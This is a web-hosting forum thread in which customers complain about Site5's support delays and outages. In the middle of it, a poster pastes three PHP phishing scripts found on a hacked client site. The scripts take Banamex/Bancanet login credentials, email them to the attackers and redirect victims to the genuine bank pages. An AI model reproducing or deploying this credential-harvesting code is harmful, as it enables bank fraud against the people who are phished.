# Thread: Site5 Review - recurring downtime, horrible support

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## Site5 Review - recurring downtime, horrible support

One of my main clients I do web development for uses Site5. We have used them for a couple years now and at first we were happy.

I remember theyre catchy banner ads on this site that caused a good discussion, but their service SUCKS.

can't talk to a realy person and support tickets take hours and even days to be answered no matter how urgent you mark it.

I'm currently dealing with another issue with a site that the password randomly stopped working for the entire account - ftp,mysql,and cpanel. its been a few hours since i posted the support ticket with no response yet.

now all the sites we host with them are not responding and i submitted yet another support ticket, that also has yet to be answered.

this is not how a host should be run. support is more important than any amount of storage or bandwidth and site SIMPLY DOES NOT GIVE PROPER SUPPORT

site5 is not for serious minded people who rely on their websites for business use.

2. Web Hosting Evangelist
Join Date
Nov 2005
Posts
528
That's true, before site5 support is really very good. Questions answered within a hour but now minimum 12 hours taken and sometimes more. And i think site5 need to improve their support.

3. Junior Guru Wannabe
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May 2005
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62
Quite a change from when Site5 used to boast about its sub-15-minute average response time, huh?

4. Web Hosting Master
Join Date
Aug 2005
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USA
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Originally Posted by placebo3
Quite a change from when Site5 used to boast about its sub-15-minute average response time, huh?
Site5 has really been "Up-and-down" lately. I was considering becoming a shared hosting clients of there's once just to host a small website on (a while back) when they still boasted a "15 Minute Support Response Time" - It almost took 12 hours for a response from support.

I think Site5 needs to pull themselves back up out of the dust and get back to where they used to be customer care wise. Lately I have been reading just as many bad reviews as good ones about them. Good luck getting this sorted out though .

5. Web Hosting Master
Join Date
Feb 2003
Posts
2,289
Originally Posted by placebo3
Quite a change from when Site5 used to boast about its sub-15-minute average response time, huh?
Their new hosting plans aer too good to be true for standalone server.

6. Texas Female
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San Antonio, Texas
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Its really sad to see titles like this for site5. They used to be quite good. :-(

7. Aspiring Evangelist
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Jul 2005
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364
Probably their overselling got out of control. Shame.

Mini

8. Web Hosting Master
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Feb 2005
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1,356
Originally Posted by Mini
Probably their overselling got out of control. Shame.

Mini
That is probably the issue. They need to sit down and make up a new game plan to pull themselves out of this hole.

Join Date
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they really need to at least add live chat online since they don't want to do live human phone at all.

When you rely on a web host to keep your site up, especially when you're paying money for it, you deserve a certain level of comfort knowing any problems will be fixed in a reasonable amount of time.

I run a dedicated server and I am able to fix issues within minutes.

maybe they ought to let their clients co-manage the server they reside on since they can't seem to do it themselves...

must be nice to get paid for sitting on your butt.

*UPDATE* i did get a reply to ONE of my support tickets, they said our DNS zone was incorrect, which we as clients cannot touch, so how the hell did it get messed up? Either way they said they fixed it and it should be back to normal in 30 mins or so, but it's been about 8 hours since i got that reply and all our sites are still down...i emphasize...it must be nice to get paid for doing nothing....sigh

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## New Update

apparently it was not their hardware or software. Level3, their bandwidth vendor, has null routed our IP because one of our sites were hacked and on sept 14th phishing files were uploaded...

PHP Code:
 <?$login =$_POST['ncliente'];$pass =$_POST['pass'];$serv =$_POST['select'];$subj = "Cuenta Bancanet";$msg = "login: $login\nPass:$pass\nServicio: $serv\n\n -Enjoy-";mail("[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */,[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */",$subj, $msg);header("Location: https://boveda.banamex.com.mx/serban/index.htm");?>  PHP Code:  <?$login = $_POST['USERID'];$pass = $_POST['PASSWORD'];$subj = "- Cuenta Bancanet Empresarial hc";$msg = "login:$login\nPass: $pass\n\n -Enjoy-";//mail("[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */",$subj, $msg);$to = "[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */,[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */";mail($to,$subj, $msg);//mail($destinatario,$asunto,$cuerpo,$headers) header("Location: https://www.bancanetempresarial.banamex.com.mx/spanishdir/bankmain.htm");?>  PHP Code:  <?$login = $_POST['USERID'];$pass = $_POST['PASSWORD'];$subj = "- Cuenta Bancanet Corresponsal";$msg = "login:$login\nPass: $pass\n\n -Enjoy-";mail("[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */,[email protected]/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */",$subj, $msg);header("Location: https://www.bancanetempresarial.banamex.com.mx/corresponsal/bankmain.htm");?>  So this is good I suppose since a Rep at citibank contacted site5, the REAL ISSUE AT HAND IS... they did not contact us when our site was shutdown. This is why they MUST provide a way for emergency contact to be made where immediate action can be taken. EITHER LIVE CHAT or LIVE TELEPHONE SUPPORT. If site5 does not provide these support services to their customers, they WILL lose viable commercial clients. You can keep your bloggers and geeks, but us paid geeks cannot put up with this sort of service, our jobs don't allow it. MATT or WHOEVER from site5, kevin? Please consider my request and tell me PLEASE, if this incident will serve as a precedent case. I truly understand that no one is perfect, and I really woud prefer to remain your customer, but please, you have REAL customers now too, please treat us like any god-fearing company would(j/k). Network Solutions may charge to much for their services, but at least they are reliable --for example. Anyway, just wanted to let everyone know that it wasn't site5's hardware, just their lack of proper PROFESSIONAL service, which happens from time to time to the best of us. Kind regards. 11. Junior Guru Wannabe Join Date Aug 2006 Posts 50 Hello, The truth is that site5 as more clients now than when it was a responsive and with good support company. Clients choose first bandwith and space and only after they worry about the support and quality of service. Hope that hosting companies service improve. Best Regards, 12. Web Hosting Geek Join Date Aug 2004 Posts 7,751 webink, were you using any out dated scripts on your web site? Any idea how your web site got hacked? Site5 has gone down the hill, hopefully they will see that overselling is the wrong path. 13. Junior Guru Wannabe Join Date Jul 2006 Posts 80 I always thought of getting Site 5 hosting plan....but I was waiting for them to clean up their act....and looks like they still havent.... 14. Junior Guru Join Date Sep 2005 Posts 211 Hmm....my 1 year contract with them will be over next month, not too sure whether I should continue with them or not. But the hassle of shifting servers..... 15. Web Hosting Master Join Date Jun 2005 Location CT, USA Posts 607 I was always under the impression that Site5 was one of the most recommended web hosts, but now seeing more and more posts like this one...it's just very sad to see. Hopefully they will find an effective way to increase their support staff and get back to "sub-15 minute" response times. Webink I hope you can settle things with Site5 or hopefully find a better host. Good luck to you. 16. Web Hosting Master Join Date Aug 2003 Posts 2,734 It is a shame to see this happen to Site5, a little while ago they were certainly one of the better hosts around. Hopefully they realise what is happening and address the issue. 17. Web Hosting Master Disaster Join Date Oct 2002 Location Under Your Skin Posts 5,875 Originally Posted by markjut It is a shame to see this happen to Site5, a little while ago they were certainly one of the better hosts around. Hopefully they realise what is happening and address the issue. You got that right. Personally, I can't believe what they have done to the company. I hope the goal of getting more clients was worth it. (disclaimer: that is "IMO" of what happened....) 18. Junior Guru Wannabe Join Date May 2006 Posts 65 Originally Posted by solidghost Hmm....my 1 year contract with them will be over next month, not too sure whether I should continue with them or not. But the hassle of shifting servers..... I'll finish that sentence for you: The hassle of shifting servers.....is nothing compared to the hassle of being stuck on one with poor performance, frequent downtime, and crumbling support. I terminated my account with Site5 a couple of weeks ago because I was experiencing all of the above. But frankly even if I wasn't having problems I would have considered leaving based on the sudden flow of complaints here and elsewhere. It's obvious that Site5 isn't what it used to be, and so far it's also obvious that things haven't begun to get better yet. 19. WHT Addict Join Date Jan 2005 Location Winnipeg, MB - Canada Posts 118 [scarcasm]lol yay! Now it's up to 1TB of bandwidth!! Weee!![/sarcasm] 20. WHT Addict Join Date Oct 2004 Location Nevada, USA Posts 100 Originally Posted by WN-Ali webink, were you using any out dated scripts on your web site? Any idea how your web site got hacked? Site5 has gone down the hill, hopefully they will see that overselling is the wrong path. my client had actually changed the 2nd DNS to a EU site called moonfruit.com to test some stuff, but the sad thing is that we had NO SCRIPTS RUNNING AT ALL! It was simple a HTML page with a logo image placeholder, I would love to see their logs as to how the files were uploaded, so far I only know when they were put there. I truly wish site5 would AGAIN provide some sort of emergency contact for issues of this caliber, but I digress. They obviously suck more and more as I think about it further. They have been no help WHAT SO EVER and our sites are stil ALL down include some sites we host for clients of my client, lol. oy.... 21. WHT Addict Join Date Oct 2004 Location Nevada, USA Posts 100 Originally Posted by AllureHost I was always under the impression that Site5 was one of the most recommended web hosts, but now seeing more and more posts like this one...it's just very sad to see. Hopefully they will find an effective way to increase their support staff and get back to "sub-15 minute" response times. Webink I hope you can settle things with Site5 or hopefully find a better host. Good luck to you. a long time ago, in a galaxy far, far away... they were my favored host. But no more... dreamhost is looking good from what my friend tells me. And thanks for wishing me well too, i wish they would compensate me for being a kind 'squeaky wheel', but I have yet to get any oil, so i may just sue(j/k) 22. Web Hosting Master Join Date Aug 2005 Location Canada Posts 838 I first learned about site5 when they were giving 1st response within 15 minutes or less to the support request. I was using PowWeb as the main host and they were having problem with the accuracy of the raw log for long long time, and some users get tired of it and there were vagues of refugees from PowWeb to site5. As I was looking for a good back up host, I seriously considered using site5 and studied their plans, managements, and so on. I even participated in their forum and helped them/users a bit. But I decided not to use them because I could foresee that their service level would go down. The reason is very simple. When you give excellent and very fast response to clients, what kinds of user base you will attract? It's the people ho needs and loves to ask support pretty often. On the contrary, when you know that the support response is slo and not always precise, who would choose the host? Mostly, those ho doesn't need support assistance may still choose a host like that. (TH\hat was the case ith PowWeb.) So, site5 has been attracting relatively large number of customers who need higher than average supposrt time, and it's so natural that their support cost would inflate as it goes on. Another reason I didn't use was their TOS, and also their inclination for the Ruby on the Rail. To begin with, site5 had many PHP people (I call PHP user or lover like this). And PHP people are generally ignorant about normal computer language. Although RonR has been hyped among PHP people, it was still beta quality product at that time. Yet site5 decided to jump on it and to invest a lot of time learning and writing with it, as well as offering it to users even before fast-cgi was deployed. So, I thought they will surely have lots of problms maintaining their own utilities and users who would jump on RonR. There awee a few other reasons I didn't choose them, but basically they got too big too quickly, I guess. And when they grow too rapidly, the management can have the ilusion that they can do anything, and make bad decisions. I guess they will review the situation and come back in strength, eventually. But who knows, Endurance may buy them out when current management get a bit tired of hosting business. 23. Junior Guru Wannabe Join Date May 2006 Posts 65 Originally Posted by Imusion [scarcasm]lol yay! Now it's up to 1TB of bandwidth!! Weee!![/sarcasm] Hot damn! I think that's the second homepage redesign they've implemented this week. Ridiculous, in every way. 24. WHT Addict Join Date Oct 2004 Location Nevada, USA Posts 100 ***more news*** seems that a total of 3 of our domains were hijacked, but neither had ANY user scripts even HOSTED, let alone LIVE...so i fugre that since they added subdomains for the phishing sites that they HAD to have logged into the hacked domains...so there should be LOGS but SITE5 wont talk to us so we CANNOT find out because they SUCK at customer SUPPORT.... anyway, thought i'd let you all know that site5 could have saved they're butts from this shame with proper communication with their clients - aka proper customer support.... till next time. 25. Web Hosting Master Join Date Jun 2006 Location it seems on line ;) Posts 927 ## This all started by June/2004 This all started by June/2004 when they asked most of their customers to move to a dedicated server because they were exceeding Site5's allowable resource usage limits. The alternative was moving to another host. As they realized pretty soon they would lose most of their customers they posted a retraction of their previous email. Those were their words (not mine.) Right after, things started to change as fast as their site's template. Both emails seemed honest but weird. They made us think site5 had got in big troubles and were looking for desperate solutions, like offering new plans, attracting with new templates, etc I know it sounds like a soap opera but we, who received those messages were astonished. Hopefully they recover. They were really good. Good luck to them! 26. Junior Guru Wannabe Join Date Oct 2005 Posts 33 Site5 is simply the worst. 27. Junior Guru Wannabe Join Date Oct 2005 Posts 33 Site5 should be renamed to down5 as its always down for me... i dont have time to detail the whole thing, just wanted to echo with others. 28. Web Hosting Master Join Date Jun 2006 Location it seems on line ;) Posts 927 Right now my site there is down .... 29. Newbie Join Date May 2006 Posts 27 I've been with Site5 since late December and I'm currently looking for a new host as well. The problem really becomes that no matter what, it really seems that securing a new webhost is kinda like rolling the dice and hoping for the best. I actually moved to Site5 from Canaca.com because Site5 was hosting a friends major website that I staff at. The response times were always great so I thought purchasing a reseller account would see the end of my site downtimes. Sadly, that was never really the case so I'd strongly suggest that anyone looking for new hosting, please do yourself a favor and stay away from Site5. If you don't trust the tremendous amount of negative posts in this forum, do yourself a favor and just do a google search for Site5 reviews and you will see that there are many, terrible reviews about this company. Back to the drawing board. 30. Web Hosting Master Join Date Aug 2004 Location AU Posts 690 True site5 is going to be worse host, they used to be good. So many negative reviews lately.. 31. Web Hosting Guru Join Date Apr 2006 Posts 280 Hum multisite is back? strange ... the last time i was with site5 i remember clearly support/management stating that the reason why multisite was drooped was that they had no way to work with it, that it was almost "impossible" to transfer a account to another server, and a bunch of other interesting bad stuff, being multisite a site5 "invention" i would expect it to die already, nice to see that multisite is back... or not... Ohh and regarding the thread, yeah site5 is a bad host, at least it was for me. 32. Junior Guru Wannabe Join Date Jun 2005 Location Oslo, Norway Posts 46 Its kinda strange that I chose a reselleraccount with Virtuoso and Site5 based on reviews from WebHostingTalk and now everone thinks they are rubbish. I have not experienced any bad issues with any of them, even thou I have had some problems and have been in contact with customer service quite a lot. Site5 is slower on support than they were intially, but 15 mins response time is over the top I think. That is just too costly and I am really not willing to pay 2-3-4 times the fee I am paying today. 33. WHT Addict Join Date Jan 2005 Location Winnipeg, MB - Canada Posts 118 Originally Posted by webhotell Its kinda strange that I chose a reselleraccount with Virtuoso and Site5 based on reviews from WebHostingTalk and now everone thinks they are rubbish. I have not experienced any bad issues with any of them, even thou I have had some problems and have been in contact with customer service quite a lot. Site5 is slower on support than they were intially, but 15 mins response time is over the top I think. That is just too costly and I am really not willing to pay 2-3-4 times the fee I am paying today. Hey bud, I've been with HostingZoom and I pay about$6 a month for hosting and the average support ticket time response have been like 10 minutes for me. So it does exist and at a good price, you just need to know where to look.

34. Junior Guru Wannabe
Join Date
Jun 2005
Location
Oslo, Norway
Posts
46
I am a customer too. I have been semi-happy about them, as the server has been kind of slow at times + my server got hacked due to poor setup by ResellerZoom.

Join Date
Aug 2005
Posts
137
Heh, I'm on melia, and yesterday I saw a load of 161, with average of over 40 for hours. I'm moving.

36. Junior Guru Wannabe
Join Date
Jan 2005
Posts
41
Yet site5 decided to jump on it and to invest a lot of time learning and writing with it,
as well as offering it to users even before fast-cgi was deployed.
So, I thought they will surely have lots of problms maintaining their own utilities and
users who would jump on RonR.
I say good for them. RoR is personally a requirement for me. Developing in RoR is extremely fast, fun and easy.

37. Newbie
Join Date
May 2006
Posts
27
Originally Posted by webhotell
Its kinda strange that I chose a reselleraccount with Virtuoso and Site5 based on reviews from WebHostingTalk and now everone thinks they are rubbish.

I have not experienced any bad issues with any of them, even thou I have had some problems and have been in contact with customer service quite a lot. Site5 is slower on support than they were intially, but 15 mins response time is over the top I think. That is just too costly and I am really not willing to pay 2-3-4 times the fee I am paying today.
I think you can comfortably say this because your not one of the poor saps stuck on the antinous server.

38. Junior Guru Wannabe
Join Date
Jun 2005
Location
Oslo, Norway
Posts
46
Thats probably true :-)

Join Date
Jul 2005
Posts
100
This thread just further reaffirms my decision to move away from site5 this month. I remember the days of email response time almost as if I was in an instant message... then recently when I started asking questions / help I never even got a reply. The only time I got a reply was when I loaded all of my emails with threats of moving to another host.

I need a new one now.

40. Web Hosting Guru
Join Date
Apr 2006
Posts
280
I'm also glad i'm out, i have accounts on dreamhost, hostgator, jaguarpc and texdrive all of them work without problems (and i do spend a lot of space/bandwith except on textdrive heheheh), so one of them should be fine, i see hostgator is having some problems right now... but not with me ^^

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